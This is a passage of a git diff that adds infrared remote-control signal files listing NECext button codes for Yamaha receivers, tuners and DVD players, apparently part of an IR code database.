+command: AA 00 00 00 +# +name: INPUT_MODE:_ANALOG +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: AA 00 00 00 +# +name: SLEEP_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B3 00 00 00 +# +name: SLEEP:_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B3 00 00 00 +# +name: SLEEP_120 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B4 00 00 00 +# +name: SLEEP_TIMER:_120_MIN +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B4 00 00 00 +# +name: SLEEP:_120MIN +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B4 00 00 00 +# +name: SLEEP_90 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B5 00 00 00 +# +name: SLEEP_TIMER:_90_MIN +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B5 00 00 00 +# +name: SLEEP:_90MIN +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B5 00 00 00 +# +name: SLEEP_60 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B6 00 00 00 +# +name: SLEEP_TIMER:_60_MIN +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B6 00 00 00 +# +name: SLEEP:_60MIN +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B6 00 00 00 +# +name: SLEEP_30 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B7 00 00 00 +# +name: SLEEP_TIMER:_30_MIN +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B7 00 00 00 +# +name: SLEEP:_30MIN +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B7 00 00 00 +# +name: DSP_PLII_GAME +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: C7 00 00 00 +# +name: PL_II_GAME +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: C7 00 00 00 +# +name: DSP:_PLII_GAME +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: C7 00 00 00 +# +name: NEURAL_SURROUND +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: CC 00 00 00 +# +name: DSP:_NEURAL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: CC 00 00 00 +# +name: NIGHT_MODE_MUS +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: CF 00 00 00 +# +name: NIGHT_MODE:_MUSIC +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: CF 00 00 00 +# +name: DSP:_NIGHT_MUSIC +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: CF 00 00 00 +# +name: MUSIC_ENHANCER:_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: D8 00 00 00 +# +name: DSP:_M_ENHAN_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: D8 00 00 00 +# +name: MUSIC_ENHANCER:_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: D9 00 00 00 +# +name: DSP:_M_ENHAN_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: D9 00 00 00 +# +name: INPUT_MODE_DTS +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: DA 00 00 00 +# +name: MUTE_-20DB +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: DF 00 00 00 +# +name: MUTE_-20DB +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: DF 00 00 00 +# +name: DSP_CONC._HALL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E1 00 00 00 +# +name: DSP:_CONCERT_HALL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E1 00 00 00 +# +name: DSP_JAZZ_CLUB +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: EC 00 00 00 +# +name: DSP:_JAZZ_CLUB +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: EC 00 00 00 +# +name: DSP_MUSIC_VIDEO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F3 00 00 00 +# +name: DSP:_MUSIC_VIDEO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F3 00 00 00 +# +name: DSP_SPORTS +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F8 00 00 00 +# +name: DSP:_SPORTS +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F8 00 00 00 +# +name: DSP_SPECTACLE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F9 00 00 00 +# +name: DSP:_SPECTACLE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: F9 00 00 00 +# +name: DSP_SCI-FI +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FA 00 00 00 +# +name: DSP:_SCI-FI +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FA 00 00 00 +# +name: DSP_ADVENTURE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FB 00 00 00 +# +name: DSP:_ADVENTURE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FB 00 00 00 +# +name: DSP_PROLOGIC +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FD 00 00 00 +# +name: PROLOGIC +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FD 00 00 00 +# +name: DSP:_PRO-LOGIC +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FD 00 00 00 +# +name: 5_CH_STEREO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FF 00 00 00 +# +name: DSP:_BM_5CHSTEREO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Stereo Receiver/125,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Stereo Receiver/125,-1.ir new file mode 100644 index 000000000..f9338b453 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Stereo Receiver/125,-1.ir @@ -0,0 +1,440 @@ +Filetype: IR signals file +Version: 1 +# +name: TUNER_FM +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 27 00 00 00 +# +name: TUNER_AM +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 28 00 00 00 +# +name: INPUT_XM +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 29 00 00 00 +# +name: TUNER_AUTO_TUNE_+ +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 2A 00 00 00 +# +name: TUNER_AUTO_TUNE_- +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 2B 00 00 00 +# +name: XM_ALL_CH_SEARCH +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 2C 00 00 00 +# +name: XM_CAT_SEARCH +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 2D 00 00 00 +# +name: XM_PRESET_SEARCH +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 2E 00 00 00 +# +name: Z2_INPUT_XM +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 2F 00 00 00 +# +name: XM_PRESET_+ +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 31 00 00 00 +# +name: XM_PRESET_- +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 32 00 00 00 +# +name: XM_CAT_+ +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 33 00 00 00 +# +name: XM_SRCH_MODE +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 34 00 00 00 +# +name: XM_CAT_- +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 35 00 00 00 +# +name: XM_MEMORY +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 38 00 00 00 +# +name: XM_DISPLAY +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 39 00 00 00 +# +name: XM_ENTER +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 3F 00 00 00 +# +name: Z2_POWER_OFF +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 63 00 00 00 +# +name: Z2_POWER_ON +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 64 00 00 00 +# +name: Z2_INPUT_PHONO +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 65 00 00 00 +# +name: Z2_INPUT_TUNER +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 66 00 00 00 +# +name: Z2_INPUT_CD +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 67 00 00 00 +# +name: Z2_INPUT_MD/TAPE +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 6A 00 00 00 +# +name: Z2_INPUT_DTV/CBL +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 6C 00 00 00 +# +name: Z2_INPUT_VCR +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 6D 00 00 00 +# +name: Z2_INPUT_DVD +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 6F 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 70 00 00 00 +# +name: Z2_VOLUME_+ +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 70 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 71 00 00 00 +# +name: Z2_VOLUME_- +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 71 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 72 00 00 00 +# +name: Z2_MUTE +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 72 00 00 00 +# +name: INPUT_VCR +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 81 00 00 00 +# +name: INPUT_DTV/CBL +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 84 00 00 00 +# +name: INPUT_CD +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 87 00 00 00 +# +name: INPUT_PHONO +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 88 00 00 00 +# +name: INPUT_TUNER +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 89 00 00 00 +# +name: INPUT_MD/TAPE +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 8B 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 90 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 91 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 93 00 00 00 +# +name: INPUT_DVD +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 97 00 00 00 +# +name: XM_0 +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: A0 00 00 00 +# +name: XM_1 +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: A1 00 00 00 +# +name: XM_2 +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: A2 00 00 00 +# +name: XM_3 +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: A3 00 00 00 +# +name: XM_4 +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: A4 00 00 00 +# +name: XM_5 +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: A5 00 00 00 +# +name: XM_6 +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: A6 00 00 00 +# +name: XM_7 +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: A7 00 00 00 +# +name: XM_8 +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: A8 00 00 00 +# +name: XM_9 +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: A9 00 00 00 +# +name: TUNER_PRESET_A +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: AC 00 00 00 +# +name: TUNER_PRESET_B +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: AD 00 00 00 +# +name: TUNER_PRESET_C +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: AE 00 00 00 +# +name: TUNER_PRESET_D +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: AF 00 00 00 +# +name: TUNER_PRESET_E +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: B0 00 00 00 +# +name: TUNER_A-E/CAT.- +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: BB 00 00 00 +# +name: TUNER_BAND +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: BD 00 00 00 +# +name: TUNER_MEMORY +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: BE 00 00 00 +# +name: SPEAKERS_A_TOGGLE +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: E7 00 00 00 +# +name: SPEAKERS_B_TOGGLE +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: E8 00 00 00 +# +name: TUNER_PRESET/CH_UP +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: F5 00 00 00 +# +name: TUNER_PRESET/CH_DN +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: F6 00 00 00 +# +name: TUNER_A-E/CAT.+ +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: F7 00 00 00 +# +name: TUNER_PRESET_1 +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: F8 00 00 00 +# +name: TUNER_PRESET_2 +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: F9 00 00 00 +# +name: TUNER_PRESET_3 +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: FA 00 00 00 +# +name: TUNER_PRESET_4 +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: FB 00 00 00 +# +name: TUNER_PRESET_5 +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: FC 00 00 00 +# +name: TUNER_PRESET_6 +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: FD 00 00 00 +# +name: TUNER_PRESET_7 +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: FE 00 00 00 +# +name: TUNER_PRESET_8 +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: FF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Stereo Receiver/126,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Stereo Receiver/126,-1.ir new file mode 100644 index 000000000..4c9db6249 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Stereo Receiver/126,-1.ir @@ -0,0 +1,122 @@ +Filetype: IR signals file +Version: 1 +# +name: DC1_TRG_CTRL_Z1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 32 00 00 00 +# +name: DC1_TRG_CTRL_Z2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 33 00 00 00 +# +name: DC1_TRG_CTRL_ALL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 34 00 00 00 +# +name: DC1_TRG_Z2_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 71 00 00 00 +# +name: DC1_TRG_Z2_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 72 00 00 00 +# +name: DC1_TRG_Z1_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 73 00 00 00 +# +name: DC1_TRG_Z1_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 74 00 00 00 +# +name: Z2_MUTE_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A0 00 00 00 +# +name: Z2_MUTE_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A1 00 00 00 +# +name: MUTE_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A2 00 00 00 +# +name: MUTE_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A3 00 00 00 +# +name: SP_RELAY_A_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: AB 00 00 00 +# +name: SP_RELAY_A_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: AC 00 00 00 +# +name: SP_RELAY_B_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: AD 00 00 00 +# +name: SP_RELAY_B_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: AE 00 00 00 +# +name: SLEEP_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B3 00 00 00 +# +name: SLEEP_120 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B4 00 00 00 +# +name: SLEEP_90 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B5 00 00 00 +# +name: SLEEP_60 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B6 00 00 00 +# +name: SLEEP_30 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: B7 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Tuner/122,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Tuner/122,-1.ir new file mode 100644 index 000000000..9c9d6a496 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Tuner/122,-1.ir @@ -0,0 +1,104 @@ +Filetype: IR signals file +Version: 1 +# +name: PRESET_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 10 00 00 00 +# +name: PRESET_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 11 00 00 00 +# +name: ABCDE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 12 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1F 00 00 00 +# +name: BANK_A +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E0 00 00 00 +# +name: BANK_B +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E1 00 00 00 +# +name: BANK_C +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E2 00 00 00 +# +name: BANK_D +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E3 00 00 00 +# +name: BANK_E +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E4 00 00 00 +# +name: PRESET_1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E5 00 00 00 +# +name: PRESET_2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E6 00 00 00 +# +name: PRESET_3 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E7 00 00 00 +# +name: PRESET_4 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E8 00 00 00 +# +name: PRESET_5 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: E9 00 00 00 +# +name: PRESET_6 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: EA 00 00 00 +# +name: PRESET_7 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: EB 00 00 00 +# +name: PRESET_8 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: EC 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Tuner/209,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Tuner/209,-1.ir new file mode 100644 index 000000000..9db105a37 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Tuner/209,-1.ir @@ -0,0 +1,56 @@ +Filetype: IR signals file +Version: 1 +# +name: GROUP_1-8/9-16/17-24 +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 0D 00 00 00 +# +name: 1/9/17 +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 0E 00 00 00 +# +name: 2/10/18 +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 0F 00 00 00 +# +name: 3/11/19 +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 10 00 00 00 +# +name: 4/12/20 +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 11 00 00 00 +# +name: 5/13/21 +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 12 00 00 00 +# +name: 6/14/22 +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 13 00 00 00 +# +name: 7/15/23 +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 14 00 00 00 +# +name: 8/16/24 +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 15 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_DVD-RC/32,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_DVD-RC/32,-1.ir new file mode 100644 index 000000000..e9373b577 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_DVD-RC/32,-1.ir @@ -0,0 +1,272 @@ +Filetype: IR signals file +Version: 1 +# +name: vocal-assist +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 01 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 02 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 03 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 09 00 00 00 +# +name: resume +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0A 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0B 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0C 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0C 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0D 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0E 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0F 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 10 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 11 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 12 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 13 00 00 00 +# +name: KEY_1/all +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 14 00 00 00 +# +name: -v +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 15 00 00 00 +# +name: KEY_LANGUAGE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 16 00 00 00 +# +name: a-b +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 17 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 18 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 19 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1A 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1B 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1C 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1D 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1E 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1F 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 40 00 00 00 +# +name: program +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 41 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 44 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 48 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 49 00 00 00 +# +name: pbc +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 4C 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 4D 00 00 00 +# +name: t/c_search +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 50 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 51 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 54 00 00 00 +# +name: +v +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 55 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 58 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 59 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 5C 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 5C 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 5D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_DVD/69,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_DVD/69,-1.ir new file mode 100644 index 000000000..ee1a6a889 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_DVD/69,-1.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 0A 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 12 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 13 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 14 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 15 00 00 00 +# +name: Display +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 16 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 19 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 21 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 22 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 23 00 00 00 +# +name: SkipForward +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 24 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 25 00 00 00 +# +name: Index +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 26 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 4D 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 51 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 80 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 81 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 84 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 45 00 00 00 +command: DE 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 45 00 00 00 +command: EF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_JVCDVD/239,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_JVCDVD/239,-1.ir new file mode 100644 index 000000000..cd2dedb1e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_JVCDVD/239,-1.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 40 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 43 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 4C 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 4D 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 61 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 62 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 63 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 64 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 65 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 66 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 67 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 68 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 69 00 00 00 +# +name: KEY_0 +type: parsed 